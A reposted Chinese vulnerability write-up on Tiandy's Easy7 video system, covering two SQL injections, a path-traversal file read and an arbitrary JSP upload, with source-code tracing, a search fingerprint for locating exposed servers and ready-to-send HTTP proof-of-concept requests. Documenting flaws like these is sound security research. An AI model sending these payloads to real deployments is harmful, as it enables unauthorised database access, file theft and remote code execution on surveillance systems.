文章总结: 本文浅析天地伟业Easy7系统的多个高危漏洞,涵盖两处SQL注入、任意文件读取及任意文件上传。漏洞源于未对输入进行过滤直接拼接SQL或路径,且上传功能存在路径穿越,可导致数据泄露或RCE。建议立即修补,实施参数化查询与文件路径白名单校验。 综合评分: 100 文章分类: 漏洞分析,代码审计,漏洞POC,渗透测试


。
0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。
0x02 指纹信息
web.body="./jsapi/js/bootstrap/js/bootstrap.min.js"
0x03 漏洞分析
1.queryUserbyDesc SQL注入漏洞
入口点:
com/tiandy/easy7/core/rest/CLS_REST_User.java#queryUserbyDesc 154-157行
追踪queryUserbyDesc方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#queryUserbyDesc 643-653行
1.仅进行简单的空值检查if(userDesc!= null && !””.equals(userDesc))`
- 关键点: 没有对userDesc进行任何安全过滤或SQL特殊字符转义
3.直接将原始参数传递到DAO层 this.daoUser.queryUserbyDesc(userDesc)
追踪daoUser.queryUserbyDesc方法进入com/tiandy/easy7/core/dao/CLS_DAO_User.java#queryUserbyDesc 1133-1153行
这里也就是漏洞触发点了。使用StringBuffer直接拼接SQL语句后使用Hibernate的createSQLQuery()执行原生SQL。
漏洞复现
GET /Easy7/rest/user/queryUserbyDesc?userDesc=1'union+select+1,version(),MD5(123)--+ HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
1.2 getAuthorityByUserId SQL注入漏洞
入口点:com/tiandy/easy7/core/rest/CLS_REST_User.java#getAuthorityByUserId92-94行
追踪getAuthorityByUserId方法进入com/tiandy/easy7/core/bo/CLS_BO_User.java#getAuthorityByUserId 443-461行
-
仅进行空值检查,未进行安全过滤
-
关键代码:this.daoUser.getAuthorityTypesByUserId(userId, objId)
-
问题: userId和objId未经任何过滤直接传递到DAO层
追踪getAuthorityTypesByUserId方法进入com/tiandy/easy7/core/dao/CLS_DAO_User.java#getAuthorityTypesByUserId 461-472行
1.两个注入点:userId和objId都直接拼接到SQL中,未使用PreparedStatement参数化查询,没有SQL特殊字符转义。
2.SQL执行: 通过Hibernate执行原生SQL
漏洞复现
GET /Easy7/rest/user/getAuthorityByUserId?userId=&objId=a'and(select*from(select+sleep(5))a+union+select+1)='&authTypes.authTypes=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
1.3 downloadFile 任意文件读取漏洞
入口点:com/tiandy/easy7/core/rest/CLS_REST_File.java#downloadFile 668-718行
-
直接拼接: path + fileName,没有任何安全检查
-
文件读取:new FileInputStream(newPath)使用拼接后的路径创建文件输入流
漏洞复现
GET /Easy7/rest/file/downloadFile?fileName=../../../../../../../../../../../../../../etc/hosts HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
1.4 uploadMapServerBgImage 任意文件上传漏洞
入口点:com/tiandy/easy7/core/rest/CLS_REST_File.java#uploadMapServerBgImage 1024-1027行
追踪this.boFile.uploadFiles方法进入com/tiandy/easy7/core/bo/CLS_BO_File.java#uploadFiles 377-506行
-
检查请求是否为multipart/form-data类型
-
初始化输入输出流变量
-
如果不是multipart请求,返回错误
public CLS_VO_Result uploadFiles(HttpServletRequest req) throws IOException { CLS_VO_Result result = new CLS_VO_Result(); InputStream fis = null; FileOutputStream fos = null; String fileName = ""; boolean isMultipart = ServletFileUpload.isMultipartContent(req); if (!isMultipart) { result.setRet(-7); return result; }
-
使用Apache Commons FileUpload解析请求,items列表包含所有表单字段和文件。
-
每个item可能是表单字段或上传的文件
FileItemFactory factory = new DiskFileItemFactory();ServletFileUpload upload = new ServletFileUpload(factory);List items = null;
try { items = upload.parseRequest(req);} catch (FileUploadException var32) { result.setRet(-7); return result;}
if (null == items) { result.setRet(-7); return result;}
其中uploadParams是一个JSON数组字符串,完全由用户控制这一步很重要。
然后看到将JSON反序列化为CLS_VO_MapServerBgImage对象列表。
private String path; // 上传路径 -用户可控!
private String name; // 文件名 – 用户可控!
List mapServerBgImage = new ArrayList();Iterator i$ = items.iterator();
String uploadPath;while(i$.hasNext()) { FileItem fileItems = (FileItem)i$.next(); if (fileItems.isFormField() && fileItems.getSize() != 0L) { String fieldName = fileItems.getFieldName(); if ("uploadParams".equals(fieldName)) { try { JSONArray array = null; uploadPath = fileItems.getString("UTF-8"); if (StringUtils.isNotEmpty(uploadPath)) { array = JSONArray.fromObject(uploadPath); } mapServerBgImage = JSONArray.toList(array, CLS_VO_MapServerBgImage.class); } catch (UnsupportedEncodingException var31) { log.error("转码错误", var31); result.setRet(-7); return result; } } }}
1.CLS_Easy7_Types.PROJECT_PATH是项目根路径
2.问题:如果uploadPath = ../../../webapps/
3.mkdirs()方法会创建所有必要的父目录
File dir = new File(CLS_Easy7_Types.PROJECT_PATH + uploadPath);if (!dir.exists()) { dir.mkdirs();}
基本很明确了路径可控,文件名可控且不存在任何黑白名单。
漏洞复现
POST /Easy7/rest/file/uploadMapServerBgImage HTTP/1.1Host: Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryPwnContent-Length: 301
------WebKitFormBoundaryPwnContent-Disposition: form-data; name="uploadParams"
[{"path":"/../../webapps/Easy7/","name":"html1.jsp"}]------WebKitFormBoundaryPwnContent-Disposition: form-data; name="file"; filename="html1.jsp"Content-Type: image/jpeg
<%out.println("Hello World");%>------WebKitFormBoundaryPwn--
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Kokoxca安全 Kokoxca安全《天地伟业Easy7漏洞-浅析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论